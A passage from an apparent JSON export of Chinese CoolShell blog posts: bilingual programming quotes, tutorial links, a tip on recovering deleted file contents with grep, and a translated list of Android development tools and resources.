除了数学爱好，对于一个有能力的程序员来说，出色地掌握自己的母语是最宝贵的财富。– Edsger Dijkstra\n> \n> \n\n\n\n\n> C makes it easy to shoot yourself in the foot; C++ makes it harder, but when you do, it blows away your whole leg. — Bjarne Stroustrup, developer of the C++ programming language\n> \n> \n> C很容易使你搬起石头砸自己的脚，而C++把这事变得更难，但是如果一定要这么做，那么你的整条腿都会被炸飞 -Bjarne Stroustrup, C++语言的发明者\n> \n> \n\n\n\n> Commentary: most debugging problems are fixed easily; identifying the location of the problem is hard. — unknown\n> \n> \n> 修复bug很容易，但是定位bug却很困难 – 匿名\n> \n> \n\n\n\n> Considering the current sad state of our computer programs, software development is clearly still a black art, and cannot yet be called an engineering discipline. — Bill Clinton, former President of the United States\n> \n> \n> 看看当前计算机程序糟糕的事态，软件开发明显一直是一门妖术，其仍然不能被称为一个工程学。 –比尔.克林顿 美国前总统\n> \n> \n\n\n\n> For a long time it puzzled me how something so expensive, so leading edge, could be so useless, and then it occurred to me that a computer is a stupid machine with the ability to do incredibly smart things, while computer programmers are smart people with the ability to do incredibly stupid things. They are, in short, a perfect match. — Bill Bryson, author, from Notes from a Big Country\n> \n> \n> 长期以来，有个事一直困扰着我，那就是越是昂贵的，越是前沿的，就越可能是没用的。然后，困扰我的另一个事是，计算机是一个死的机器，却可以不可思议地去完成那些巧妙的事情，而计算机程序员是那么聪明人却在做着不可思议的愚蠢的事情，简而言之，他们真是天生的一对。– Bill Bryson旅游文学作家 Big Country中的笔记\n> \n> \n\n\n\n> Given enough eyeballs, all bugs are shallow (e.g., given a large enough beta-tester and co-developer base, almost every problem will be characterized quickly and the fix obvious to someone). — Eric S. Raymond, programmer and advocate of open source software, from The Cathedral and the Bazaar\n> \n> \n> 足够多的眼睛，就可让所有问题浮现(比如：只要给于足够多的beta测试者和开发人员一起工作，那么，几所所有的问题都会很快的出现，而修正也会是显而易见的）\n> \n> \n\n\n\n> Good code is its own best documentation. As you’re about to add a comment, ask yourself, ‘How can I improve the code so that this comment isn’t needed?’ Improve the code and then document it to make it even clearer. — Steve McConnell, software engineer and author, from Code Complete\n> \n> \n> 好的代码自己本身就是最好的文档。当你打算加注释的时候，问问自己‘我如何才能把我的代码改善到不需增加注释？’重构自己的代码，然后使文档让其更清楚。 — Steve McConnell《代码大全》的作者\n> \n> \n\n\n\n> Hey! It compiles! Ship it! — unknown\n> \n> \n> 嘿，编译通过了！出货！–匿名\n> \n> \n\n\n\n> Inside every well-written large program is a well-written small program. — Charles Antony Richard Hoare, computer scientist\n> \n> \n> 在每个编写精良的大程序里面都是一个编写精良的小程序。 –Charles Antony Richard Hoare,计算机科学家\n> \n> \n\n\n\n> It should be noted that no ethically-trained software engineer would ever consent to write a DestroyBaghdad procedure. Basic professional ethics would instead require him to write a DestroyCity procedure, to which Baghdad could be given as a parameter. — Nathaniel S. Borenstein, computer scientist\n> \n> \n> 需要注意的是，没有哪个经过规范培训的工程师会赞成写一个DestoryBaghdad（摧毁巴克达）的函数。最基本的职业规范会告诉他们应该去写一个叫DestoryCity的函数，然后把“Baghdad”（巴克达）当成这个函数的参数。——　Nathaniel S. Borenstein,　计算机科学家\n> \n> \n\n\n\n> Managing programmers is like herding cats. — unknown\n> \n> \n> 管理程序员就如同养一群猫一样 –匿名\n> \n> \n\n\n\n> Measuring programming progress by lines of code is like measuring aircraft building progress by weight. — Bill Gates, co-founder of Microsoft Corporation\n> \n> \n> 用代码行数来衡量编程的进度，就如同用航空器零件的重量来衡量航空飞机的制造进度一样。——Bill Gates，微软创始人\n> \n> \n\n\n\n> More good code has been written in languages denounced as bad than in languages proclaimed wonderful — much more. — Bjarne Stroustrup, from The Design and Evolution of C++\n> \n> \n> 更多的优秀代码是用被认为很烂的语言写成的，而不是用那些被说的好的不得了的语言。——Bjarne Stroustrup, 摘自《The Design and Evolution of C++》\n> \n> \n\n\n\n> Programs must be written for people to read, and only incidentally for machines to execute. — Harold Abelson and Gerald Jay Sussman, computer scientists and authors, from The Structure and Interpretation of Computer Programs\n> \n> \n> 代码应该是写给其他人来读的，而能让机器运行的仅仅是附带着的。——　Harold Abelson 与 Gerald Jay Sussman, 计算机科学家和作家，摘自《The Structure and Interpretation of Computer Programs》\n> \n> \n\n\n\n> Real programmers don’t comment their code. If it was hard to write, it should be hard to understand. — unknown\n> \n> \n> 真正程序员从来不写代码的注释，如果代码非常难写，那么同样代码的注释也会非常难懂 –匿名\n> \n> \n\n\n\n> Simplicity is prerequisite for reliability. — Edsger Dijkstra\n> \n> \n> 简单是可靠的前提条件 — 迪杰斯特拉\n> \n> \n\n\n\n> The C programming language — a language which combines the flexibility of assembly language with the power of assembly language. — unknown\n> \n> \n> C语言—— 一门同时具有了汇编语言灵活性和汇编语言强大能力的语言。– 匿名\n> \n> \n\n\n\n> The first 90% of the code accounts for the first 90% of the development time. The remaining 10% of the code accounts for the other 90% of the development time. — Tom Cargill, object-oriented programming expert at Bell Labs\n> \n> \n> 开始的90%的代码用了90%的开发时间，而剩下的最后的10%的代码会需要另外90%的开发时间。– Tom Cargill,贝尔实验室的面向对象编程专家。\n> \n> \n\n\n\n> The important point is that the cost of adding a feature isn’t just the time it takes to code it. The cost also includes the addition of an obstacle to future expansion. Sure, any given feature list can be implemented, given enough coding time. But in addition to coming out late, you will usually wind up with a codebase that is so fragile that new ideas that should be dead-simple wind up taking longer and longer to work into the tangled existing web. The trick is to pick the features that don’t fight each other. — John Carmack, computer game programmer\n> \n> \n> 增加一个功能特性的成本并不单单是为这些功能编码所花费时间的成本，还这个成本应该包括特性扩展的障碍成本。当然，任何的功能清单都可以被实现，只需要有足够的时间。但是除些之外，你应该对你的代码库的脆弱性感到紧张，而那些新的想法应该足够的简单，而不是去花费更多更多的时间去纠缠于现有的蜘蛛网。这里的决窃是挑选那些不会和别人冲突的的功能。\n> \n> \n\n\n\n> The key to performance is elegance, not battalions of special cases. The terrible temptation to tweak should be resisted unless the payoff is really noticeable. — Jon Bently and M. Douglas McIlroy, both computer scientists at Bell Labs\n> \n> \n> 表现的关键是精美和典雅的，并不是使用大量的特殊案例。对于任何调整的冲动都应该是被限制的，除非其回报真的是值得注意的。– Jon Bently and M. Douglas McIlroy, 二者都是贝尔试验实的计算机科学家\n> \n> \n\n\n\n> The last good thing written in C was Franz Schubert’s Symphony Number 9. — Erwin Dieterich, programmer  \n> \n> 最后一件用C做的好作品就是弗朗茨.舒伯特的C大调第9交响曲 — Erwin Dieterich, programmer程序员\n> \n> \n\n\n\n> The problem with using C++ … is that there’s already a strong tendency in the language to require you to know everything before you can do anything. — Larry Wall, developer of the Perl language\n> \n> \n> 使用C++最大的问题是..在C++语言里，存在这一种很强的趋势，就是如果你不明白C++语言的细节，你就无法做好任何事情。– Larry Wall, developer of the Perl language\n> \n> \n\n\n\n> The sooner you start to code, the longer the program will take. — Roy Carlson, University of Wisconsin\n> \n> \n> 你越早开始都手编码，你所花费来编程的时间就越长 — Roy Carlson, University of Wisconsin\n> \n> \n\n\n\n> The value of a prototype is in the education it gives you, not in the code itself. — Alan Cooper, software author, from The Inmates are Running the Asylum\n> \n> \n> 原型的价值在于他给你的教训，而不是代码自身 — Alan Cooper, software author, from The Inmates are Running the Asylum\n> \n> \n\n\n\n> There are only two kinds of programming languages: those people always bitch about and those nobody uses. — Bjarne Stroustrup\n> \n> \n> 世界上只有两类编程语言：人们都抱怨的语言和从来没有人使用的语言 — Bjarne Stroustrup\n> \n> \n\n\n\n> There are two ways of constructing a software design. One way is to make it so simple that there are obviously no deficiencies. And the other way is to make it so complicated that there are no obvious deficiencies. — Charles Antony Richard Hoare\n> \n> \n> 世界上有两个设计软件的方法，一种方法是设计的尽量简单，以至于明显的没有什么缺陷，另外一种方式是使他尽量的复杂，以至于其缺陷不那么明显。\n> \n> \n\n\n\n> Ugly programs are like ugly suspension bridges: they’re much more liable to collapse than pretty ones, because the way humans (especially engineer-humans) perceive beauty is intimately related to our ability to process and understand complexity. A language that makes it hard to write elegant code makes it hard to write good code. — Eric S. Raymond\n> \n> \n> 丑陋的程序就像一座丑陋的吊桥：他们相比漂亮的良好的吊桥起来，更有可能会坍塌，这是因为人类（尤其是工程师）感知漂亮的东西是和我们处理和理解复杂问题的能力相关的。所以，一个程序语言如果很难以优雅地方式编程，那么其就很难写出好的代码。\n> \n> \n\n\n\n> Weeks of programming can save you hours of planning. — unknown\n> \n> \n> 多做几周的编程可以节省你做计划的时间 —— 匿名 （意思为，只有实践过了，你才更容易做计划，没有实践过，做起计划来将会很头痛）\n> \n> \n\n\n\n> When a programming language is created that allows programmers to program in simple English, it will be discovered that programmers cannot speak English. — unknown\n> \n> \n> 当程序语言被设计成允许程序以很简单的英语来编程的时候，人们将会发现编写程序的程序员都来自不会说英语的地方。 –匿名\n> \n> \n\n\n（全文完，翻译水平有限，如果有误，还请批评指正！）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5444.html)[千万不要把 bool 设计成函数参数](https://coolshell.cn/articles/5444.html)\n* [![重构代码的7个阶段](../wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif)](https://coolshell.cn/articles/5201.html)[重构代码的7个阶段](https://coolshell.cn/articles/5201.html)\n* [![一个空格引发的惨剧](../wp-content/uploads/2011/06/20110620115951113-150x150.gif)](https://coolshell.cn/articles/4875.html)[一个空格引发的惨剧](https://coolshell.cn/articles/4875.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/4758.html)[如何写出无法维护的代码](https://coolshell.cn/articles/4758.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg](https://coolshell.cn/articles/3005.html)[代码重构的一个示例](https://coolshell.cn/articles/3005.html)\nThe post [最佳编程语录](https://coolshell.cn/articles/2753.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-8-23 两个教程：Socket和HTML5.md",
    "content": "---\nlayout: post\ntitle: 两个教程：Socket和HTML5\ndate: 2010/8/23/ 2:47:28\nupdated: 2010/8/23/ 2:47:28\nstatus: publish\npublished: true\ntype: post\n---\n\nhttp://d.wearehugh.com/dih5/johnny_automatic_planet_with_spyglass.png给大家介绍两个教程，一个是关于Socket编程的，一个是关于HTML5的。\n\n\n关于Socket，相信大家都知道这个是用来做TCP/IP网络编程的，其由FreeBSD引入，现在，只要你相做网络编程，你必然会使用到它。这里有一个叫**[Beej’s Guide to Network Programming](http://beej.us/guide/bgnet/) 的网站**，非常不错的一个教程。在其主页上显示有[中译版](http://docs.chinalinuxpub.com/doc/pro/is.html)，不过很可惜，打不开。好像网络有很多转载，你可以[Google一下](http://www.google.com.hk/search?hl=zh-CN&source=hp&q=beej+%E7%BD%91%E7%BB%9C%E7%BC%96%E7%A8%8B&btnG=Google+%E6%90%9C%E7%B4%A2)。\n\n\n另一个是关于HTML5的众多标签，大家可以访问这个叫做“[**HTML5 Peeks, Pokes and Pointers**](http://diveintohtml5.org/peeks-pokes-and-pointers.html)”的网站，其就像一个速查手册一样，你可要查阅HTML5的那些BT的tag，比如：多媒体，画布，地理，表单，等等。\n\n\n希望大家喜欢，不妨你也说说你知道的相关的一些教程。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![HTML6 展望](../wp-content/uploads/2014/12/html6-150x150.jpeg)](https://coolshell.cn/articles/12206.html)[HTML6 展望](https://coolshell.cn/articles/12206.html)\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [![CSS 布局:40个教程、技巧、例子和最佳实践](../wp-content/uploads/2012/03/css-layouts-150x150.gif)](https://coolshell.cn/articles/6840.html)[CSS 布局:40个教程、技巧、例子和最佳实践](https://coolshell.cn/articles/6840.html)\n* [![一些文章资源和趣闻](../wp-content/uploads/2011/11/stackparts.com_-150x150.png)](https://coolshell.cn/articles/5537.html)[一些文章资源和趣闻](https://coolshell.cn/articles/5537.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4795.html)[开源中最好的Web开发的资源](https://coolshell.cn/articles/4795.html)\nThe post [两个教程：Socket和HTML5](https://coolshell.cn/articles/2829.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-8-23 史上最烂的超级玛丽.md",
    "content": "---\nlayout: post\ntitle: 史上最烂的超级玛丽\ndate: 2010/8/23/ 7:20:21\nupdated: 2010/8/23/ 7:20:21\nstatus: publish\npublished: true\ntype: post\n---\n\n啥也不说了，自己访问一下吧，F是跳，D是加速，回车的是开始，还挺好玩，简单是简单了点，但好歹也是用Java写的，也是Web的，呵呵。\n\n\n<http://meatfighter.com/mario/mario.html>\n\n\n[![史上最烂的超级玛丽](../wp-content/uploads/2010/08/super_mario.jpg \"Super Mario\")](http://meatfighter.com/mario/mario.html)\n\n\n你还见过更烂的吗？\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![一些文章资源和趣闻](../wp-content/uploads/2011/11/stackparts.com_-150x150.png)](https://coolshell.cn/articles/5537.html)[一些文章资源和趣闻](https://coolshell.cn/articles/5537.html)\n* [![程序员技术练级攻略](../wp-content/uploads/2011/07/programmer-150x150.png)](https://coolshell.cn/articles/4990.html)[程序员技术练级攻略](https://coolshell.cn/articles/4990.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/3903.html)[一些有意思的贴子和工具](https://coolshell.cn/articles/3903.html)\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![如何免费的让网站启用HTTPS](../wp-content/uploads/2017/08/enable-https-banner-150x150.png)](https://coolshell.cn/articles/18094.html)[如何免费的让网站启用HTTPS](https://coolshell.cn/articles/18094.html)\nThe post [史上最烂的超级玛丽](https://coolshell.cn/articles/2834.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-8-24 使用grep恢复被删文件内容.md",
    "content": "---\nlayout: post\ntitle: 使用grep恢复被删文件内容\ndate: 2010/8/24/ 0:56:24\nupdated: 2010/8/24/ 0:56:24\nstatus: publish\npublished: true\ntype: post\n---\n\n在Unix/Linux下，最危险的命令恐怕就属rm命令了，每次在root下使用这个命令的时候，我都要盯着命令行看上几分钟才敢把回车敲下去。以前，看到同事在脚本中使用rm命令 —— `rm {$App_Dir}/*` 。因为脚本没有判断变量$App\\_Dir是否为空，结果，在一次用root操作的时候，整个操作系统一下就不见了，还好只是开发机。从此，我们大家都再也不敢使用rm命令了。\n\n\n这里给大家介绍一个小技巧用来恢复一些被rm了的文件中的数据。我们知道，rm命令其实并不是真正的从物理上删除文件内容，只过不把文件的inode回收了，其实文件内容还在硬盘上。所以，如果你不小删除了什么比较重要的程序配置文件的时候，我们完全可以用grep命令在恢复，下面是一个恢复示例：\n\n\n`grep -a -B 50 -A 60 'some string in the file' /dev/sda1 > results.txt`\n\n\n说明：\n\n\n* 关于grep的-a意为–binary-files=text，也就是把二进制文件当作文本文件。\n* -B和-A的选项就是这段字符串之前几行和之后几行。\n* /dev/sda1，就是硬盘设备，\n* > results.txt，就是把结果重定向到results.txt文件中。\n\n\n如果你幸运的话，你就可以看到被恢复的内容了。这正是Unix的简单哲学（详见《[Unix传奇下篇](https://coolshell.cn/articles/2324.html)》）—— **所有的设备都是文件**。\n\n\n当然，我还是建议你把root用户的rm的命令用alias换成别一个脚本，那个脚本会帮你把删除的文件放到某个地方。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![vfork 挂掉的一个问题](../wp-content/uploads/2014/11/tux-fork-150x150.gif)](https://coolshell.cn/articles/12103.html)[vfork 挂掉的一个问题](https://coolshell.cn/articles/12103.html)\n* [![谜题的答案和活动的心得体会](../wp-content/uploads/2014/08/puzzle-150x150.png)](https://coolshell.cn/articles/11847.html)[谜题的答案和活动的心得体会](https://coolshell.cn/articles/11847.html)\n* [![sed 简明教程](../wp-content/uploads/2013/02/sed-superman-150x150.png)](https://coolshell.cn/articles/9104.html)[sed 简明教程](https://coolshell.cn/articles/9104.html)\n* [![AWK 简明教程](../wp-content/uploads/2013/02/awk-150x150.jpg)](https://coolshell.cn/articles/9070.html)[AWK 简明教程](https://coolshell.cn/articles/9070.html)\nThe post [使用grep恢复被删文件内容](https://coolshell.cn/articles/2822.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-8-26 实用Android开发工具和资源精选.md",
    "content": "---\nlayout: post\ntitle: 实用Android开发工具和资源精选\ndate: 2010/8/26/ 0:43:1\nupdated: 2010/8/26/ 0:43:1\nstatus: publish\npublished: true\ntype: post\n---\n\n**出处**：[A Useful Selection of Android Developer Tools and Resources](http://speckyboy.com/2010/08/04/a-useful-selection-of-android-developer-tools-and-resources/)\n\n\n在google、开源平台，和来自移动电话制造商HTC,Samsung和Sony Ericsson的支持下，Android平台在市场占有率上相比去年取得的886%增长！如果我只看增长率，IPhone据统计才有61%的增长。这些数据可以给你关于两个平台流行度的印像，但是事实上，这些数据告诉了智能机开发员的谁才是真正的赢家。在时下，智能机越来越流行，因此成为一个快速增长的Android平台的智能机开发人员将会是一个不错的选择。\n\n\n相比较其他的平台，Android不依赖于任何约束第三方应用程序的私有的操作系统（题外话：美国最近[宣布](http://www.bbc.co.uk/news/technology-10836692)对于IPhone的破解和越狱是合法行为），Android本身就是开源的。由于开源，Android有巨大的开发社区支持。各种个样的例子和教程，GUI素材，和开发工具下载。几乎所有的都是免费提供的。我们选出接近20个可以免费或开源的，工具，资源，开发指南。希望这些资源能给你的Android应用带来帮助。  \n\n **相关文章参看:**\n\n\n* [Android App Developers GUI Kits, Icons, Fonts and Tools →](http://speckyboy.com/2010/05/10/android-app-developers-gui-kits-icons-fonts-and-tools/)\n* [iPhone and iPad Development GUI Kits, Stencils and Icons →](http://speckyboy.com/2010/04/30/iphone-and-ipad-development-gui-kits-stencils-and-icons/)\n* [Mobile Web and App Development Testing and Emulation Tools →](http://speckyboy.com/2010/04/12/mobile-web-and-app-development-testing-and-emulation-tools/)\n* [14 Free Mobile Application Development Icon Sets →](http://speckyboy.com/2010/03/08/14-free-mobile-app-development-icon-sets/)\n\n\n![](../wp-content/uploads/2010/08/android_dev_01.jpg \"android_dev_01\")\n\n\n\n### [免费的Android开发人员电子书:andbook](http://andbook.anddev.org/)\n\n\n![](../wp-content/uploads/2010/08/android_dev_02.jpg \"android_dev_01\")\n\n\n如果你刚步入Android的开发，那么对于第一次开发Android应用程序的你来说，这本书是非常适合的。这本只有62页的PDF电子书里，有简单易懂的入门教程，帮助你在没有任何Android开发知识的背景下，教你开发Android应用程序。  \n\n[Free Android Developer Ebook: andbook! →](http://andbook.anddev.org/)\n\n\n### [免费的Android开发人员电子书:专业Android应用程序开发](http://kronox.org/documentacion/Professional_Android_Application_Development.pdf)\n\n\n![](../wp-content/uploads/2010/08/android_dev_03.jpg \"android_dev_01\")\n\n\n专业Android应用程序开发PDF电子书，是一本创建移动手机应用程序的上手指南，这本书特点简洁，还有着能帮助你快速构建真实Android移动电话应用程序的典型的例子。本书覆盖了Android手机所有本质特性，并同时展示了Android手机的高级特性。  \n\n[Free Android Developer Ebook: Professional Android Application Development →](http://kronox.org/documentacion/Professional_Android_Application_Development.pdf)\n\n\n### 免费和开源的应用程序\n\n\n* [apps-for-android (Open Source Applications) →](http://code.google.com/p/apps-for-android/)这个链接中包含了许多实用的开源的Android应用程序。这些应用程序展示了Android的许多特性。\n\n\n* [List of Sample Android Apps →](http://developer.android.com/resources/samples/index.html)（**译者注：**我勒个擦！墙掉了，中国Android开发人员杯具了，看来官方不给力啊，这次元还真是不毛之地啊）  \n\n这个Web页面是一个Android开发包中的实例程序列表。使用这个页面上的链接，你可以通过你的浏览器来阅读这些例子程序的源代码。你也可以把这些实例程序下载下来，当你需要的时候，你可以修改并使用他们。\n\n\n* [Android Cookbook (Examples in Cookbook Form) →](http://code.google.com/p/android-cookbook/)这个站点有很多实用的Android示例程序，你完全可以重用这些例子。\n\n\n* [OpenIntents →](http://www.openintents.org/en/)OpenIntends 设计和实现了开放式 intents和接口，其使得Android移动应用程序能更紧密的结合在一起。同时OpenIntends免费的提供了更专业和复杂的实例应用程序来演示他们的用法。\n\n\n* [Android Snippets (Share Useful Snippets of Source Code) →](http://www.androidsnippets.org/)Android Snippets 是一个Android的实用代码段库，这个库是用来分享实用和优秀的Android应用程序代码；如果没有特别的需求，我们可以大量的重用这些代码库。\n\n\n### [Windows上的Android](http://www.addictivetips.com/windows-tips/download-google-android-emulator/)\n\n\n![](../wp-content/uploads/2010/08/android_dev_10.jpg \"android_dev_01\")\n\n\n对于那些想测试驱动Android的开发者，可以使用这个Android模拟器，这个模拟器以单独的应用程序的形式独立运行在Windows PC之上，使用这个模拟器不用下载和完全安装复杂的Android开发包。你甚至可以在这个模拟器上安装和测试Android系统兼容的应用程序。  \n\n[Android Emulator on Windows →](http://developer.android.com/guide/developing/tools/emulator.html)\n\n\n### [来自应用程序开发入门的Android模拟器](http://developer.android.com/guide/developing/tools/emulator.html)\n\n\n![](../wp-content/uploads/2010/08/android_dev_11.jpg \"android_dev_01\")\n\n\nAndroid的开发包中包含了一个移动设备模拟器。这个模拟器模仿了典型移动设备的硬件和软件特性(当然，不包含打电话)。这个模拟器提供各种个样的导航和控制按键，可以使用你的鼠标和键盘来“按”下这些按键为你的应用程序生成事件。这个模拟器也提供一个屏幕为你显示应用程序。同时，SDK中提供了很多能在模拟器上运行的应用程序。  \n\n[Android Emulator from The Developer’s Guide →](http://developer.android.com/guide/developing/tools/emulator.html)\n\n\n### [感应模拟器](http://www.openintents.org/en/node/23)\n\n\n![](../wp-content/uploads/2010/08/android_dev_12.jpg \"android_dev_01\")\n\n\n感应模拟器是一个JAVA独立应用程序，感应模拟器模拟感应数据并把数据传给Android模拟器。这个感应模拟器可以让你模拟加速度仪器，指南针，和方向感应，这些数据可以用于Android应用程序，并通过感应器进行控制。  \n\n[SensorSimulator →](http://www.openintents.org/en/node/23)\n\n\n### [DroidEx:大（巨）屏上的Android项目](http://github.com/commonsguy/droidex)\n\n\nDroidEx 可以让你附加的Android设备的显示屏内容复制一份到你的开发机屏幕。使用DroidEx来做演示是非常有用的。因为你可以把你的Android设备连接到你的笔记本电脑上或投影仪上，你的客户就可以通过这些设备来看你Android设备上的内容。DroidEx还可以用来演示那些用模拟器不方便演示的内容，比如说GPS或加速度仪器等内容。  \n\n[DroidEx: Projecting Android on the Big(ger) Screen →](http://github.com/commonsguy/droidex)\n\n\n### [Android的App Inventor](http://appinventor.googlelabs.com/about/)\n\n\n![](../wp-content/uploads/2010/08/android_dev_13.jpg \"android_dev_01\")  \n\nAndroid 的App Inventor是来自Google为非开发人员准备的新工具，通过这个工具，非开发人员可以非常容易地在里面创建应用程序。可以通过网站的视屏来预览这个工具的功能特性。(你可以参看酷壳的[这篇文章](https://coolshell.cn/articles/2608.html))\n\n\n(**译者注：**这里还有一个youtube视屏，可惜也墙掉了）  \n\n\n\n\n### [如何开发Android中的常用任务](http://developer.android.com/guide/appendix/faq/commontasks.html)\n\n\n![](../wp-content/uploads/2010/08/android_dev_04.jpg \"android_dev_01\")\n\n\n这是一个关于Android开发可能遇到的常用任务列表集合，并提供了一个快速、 how-to方式的帮助，来帮助你完成这些任务。\n\n\n[Common Tasks and How to Do Them in Android→](http://developer.android.com/guide/appendix/faq/commontasks.html)\n\n\n### [快速启动小抄](http://andblogs.net/fastboot/)\n\n\n![](../wp-content/uploads/2010/08/android_dev_14.jpg \"android_dev_01\")\n\n\n快速启动小抄是一个非常实用和快速的列表，这个列表中罗列一些关于快速启动的相关任务。  \n\n[Fastboot Cheat Sheet →](http://andblogs.net/fastboot/)\n\n\n### [UI指导原则](http://developer.android.com/guide/practices/ui_guidelines/index.html)\n\n\n在这里你可以找一些到官方文章的连接，这些连接来自于“The Developer’s Guide”。这些文章的内容描述了关于Android可视交互应用程序的UI设计开发的指导原则。\n\n\n* [Icon Design Guidelines →](http://developer.android.com/guide/practices/ui_guidelines/icon_design.html)\n* 图标指导原则描述每类图标的细节，并做关于尺寸，颜色，阴影其他的细节的规范，根据这些规范你的设计的图标可以适用于Android系统。你也可以下载Android图标模板包，这个包里面是一些Photoshop和Illustrator模板和滤镜文件，通过这个模板包你可以更简单的创建满足规范的图标。\n* [Download the Android Icon Templates Pack](http://developer.android.com/guide/practices/ui_guidelines/icon_design.html#templatespack)\n* 控件设计指导描述了如何设计适合其他主页屏的控件。这个连接会连接到一些图形文件和模板，通过这些模板和文件可以使你设计更简单。\n* [Widget Design Guidelines →](http://developer.android.com/guide/practices/ui_guidelines/widget_design.html)\n* Activity和Task设计指导描述了活动的工作方式，并用图解示例演示了Activity，并描述了其重要的底层机制和原理，如多任务系统，Activity重用，intents，Activity栈，和Task。以设计层面的角度覆盖了活动的所有内容。\n* [Activity and Task Design Guidelines →](http://developer.android.com/guide/practices/ui_guidelines/activity_task_design.html)\n* 菜单设计指导描述了上下文菜单和选项菜单的不同。如何放置菜单项，何时放置屏幕命令，和其他的一些菜单细节。\n* [Menu Design Guidelines →](http://developer.android.com/guide/practices/ui_guidelines/widget_design.html)\n\n\n**[理解Android中的用户接口 来自于](http://mobiforge.com/designing/story/understanding-user-interface-android-part-1-layouts)[mobiforge.com](http://mobiforge.com/)**\n\n\n这4部分的文档来自于[mobiforge.com](http://mobiforge.com/),文档中包含了组成Android UI的各种要素。文档的第一部分讨论Android中各种各样的有效的的布局。\n\n\n1. 1. [Understanding User Interface in Android – Part 1 →](http://mobiforge.com/designing/story/understanding-user-interface-android-part-1-layouts)\n\t2. [Understanding User Interface in Android – Part 2 →](http://mobiforge.com/designing/story/understanding-user-interface-android-part-2-views)\n\t3. [Understanding User Interface in Android – Part 3 →](http://mobiforge.com/designing/story/understanding-user-interface-android-part-3-more-views)\n\t4. [Understanding User Interface in Android – Part 4 →](http://mobiforge.com/designing/story/understanding-user-interface-android-part-4-even-more-views)\n\n\n### [Android UI模式](http://www.androidpatterns.com/)\n\n\n![](../wp-content/uploads/2010/08/android_dev_16.jpg \"android_dev_01\")\n\n\n[Android UI Patterns →](http://www.androidpatterns.com/)\n\n\n### [DroidDraw:Android用户接口图形编辑器](http://www.droiddraw.org/)\n\n\n[![](../wp-content/uploads/2010/08/android_dev_19.jpg \"android_dev_19\")](https://coolshell.cn/wp-content/uploads/2010/08/android_dev_19.jpg)\n\n\nDroidDraw是一个为Android创建图形用户界面的UI设计器。它是一个独立的可执行程序，可以运行在Mac OS X，Windows和Linux上。\n\n\n[DroidDraw : Graphical User Interface Editor for Android →](http://www.droiddraw.org/)\n\n\n### [Android GUI PSD 向量包](http://www.smashingmagazine.com/2009/08/18/android-gui-psd-vector-kit/)\n\n\n![](../wp-content/uploads/2010/08/android_dev_20.jpg \"android_dev_01\")\n\n\nAndroid GUI Starter Kit包里面包含了多个按钮元素和不同接口选项的AndroidGUI内容。这些元素是基于Android1.5 GUI的，并且这些包里面的被提供给开源社区的Android应用程序模型。大部分的GUI元素和手机图例都是使用向量路径制成，所以他们非常地容易被缩放。对于文本AndroidSans包被使用。  \n\n[Android GUI PSD Vector Kit →](http://www.smashingmagazine.com/2009/08/18/android-gui-psd-vector-kit/)\n\n\n### [Android的Firworks Template](http://unitid.nl/2009/11/fireworks-template-for-android/)\n\n\n![](../wp-content/uploads/2010/08/android_dev_22.jpg \"android_dev_01\")\n\n\n在Fireworks模板中，Android的各种元素被以向量图形的方式被重绘。在目录中，这些元素的名称大多根据Android词汇表被命名。  \n\n[Fireworks Template for Android →](http://unitid.nl/2009/11/fireworks-template-for-android/)\n\n\n### 